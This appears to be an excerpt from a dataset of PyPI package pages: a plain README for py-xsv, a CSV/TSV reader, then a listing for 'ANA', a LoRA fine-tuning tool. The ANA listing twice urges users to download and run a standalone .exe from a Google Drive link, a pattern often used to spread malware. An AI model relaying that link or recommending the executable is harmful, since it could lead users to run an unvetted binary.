semvec/pypi-packages huggingface dataset:
py-xsv 0.0.2
Reading -sv files and writing them to dataframes
Requires Python: >=3.9
Keywords: csv, data, parsing, tsv

# py-xsv
py-xsv is a Python utility for reading -SV files (CSV, TSV, etc.) and converting them into dataframes.

---

## Features

- Auto-detect delimiters in CSV, TSV, or other -SV files.
- Read files into:
  - List of dictionaries (`content_dict`)
  - List of lists (`content_list`)
- Extract column data easily (`column`).
- Quickly access top/bottom rows (`head`, `tail`).
- Get dimensions (`length_width`) and headers (`headers`).
- Save -SV file to pandas DataFrames (`save_df`).

---

## Installation
```bash
pip install py-xsv
```
This needs Python 3.9 or more.

---

## Docs

### Read a CSV/TSV file as a list of dictionaries
```python
import py_xsv
data = py_xsv.content_dict("data.csv")
print(data[:5])
```

### Read as a list of lists
```python
import py_xsv

data = py_xsv.content_list("data.csv")
print(data[:5])
```

### Detect dilimiter manualy
```python
import py_xsv

with open("data.csv", "r") as f:
    lines = f.readlines()

delimiter = py_xsv.detect_delimiter(lines)
print(f"Detected delimiter: {delimiter}")
```

### Work with columns and headers
```python
import py_xsv

data = py_xsv.content_dict("data.csv")
print("Headers:", py_xsv.headers(data))
print("First column:", py_xsv.column(data, "ColumnName"))
```

### Quick access to top and bottom rows
```python
import py_xsv

data = py_xsv.content_list("data.csv")
print("Top 5 rows:", py_xsv.head(data, 5))
print("Bottom 5 rows:", py_xsv.tail(data, 5))
```

### Save data to a pandas DataFrame
```python
import pandas
import py_xsv

data = py_xsv.content_dict("data.csv")
df = py_xsv.save_df(data)
```
> You need to have `import pandas` before doing this

### Exceptions
- `py_xsv.NotSVFileError` - Used when a non -sv file is given
- `py_xsv.PandaError` - Errors while using pandas
- `py_xsv.Error` - Generic Error

---

## License
This is licensed under the WTFPL.

This means that you have permission for:
- Commercial use
- Modification
- Distribution
- Private use
- Everything basically

Under no conditions or limitations

---
Automated-Neural-Adapter-ANA 0.3.0
A library for LoRA fine-tuning and model merging

#### ANA – Automated Neural Adapter

ana is a simple tool that lets you fine-tune AI models with LoRA in just a few steps.  
It comes as a ready-to-run package, so you don’t have to worry about complicated setup.

###  Installation

Install directly from PyPI:

pip install ana

### Features

Automated LoRA fine-tuning workflow

Simple one-command usage

No extra dependencies required

Runs out of the box on Windows

### Requirements

Python 3.8 or newer

Windows (Linux/Mac support coming soon)
### Usage

To use the library, type ANA or ana in the Command Prompt to launch the GUI window.

### Errors
If you encounter an error, please download the file from https://drive.google.com/file/d/1jeBkmLz9x5qZMUdDthbeyDiIL4zFM4Y2/view?usp=drive_link

it is recomended to use this link as it is a exe and is stand alone 
### Recommended

It is recommended to use this link, as it is an .exe and is standalone:
https://drive.google.com/file/d/1jeBkmLz9x5qZMUdDthbeyDiIL4zFM4Y2/view?usp=drive_link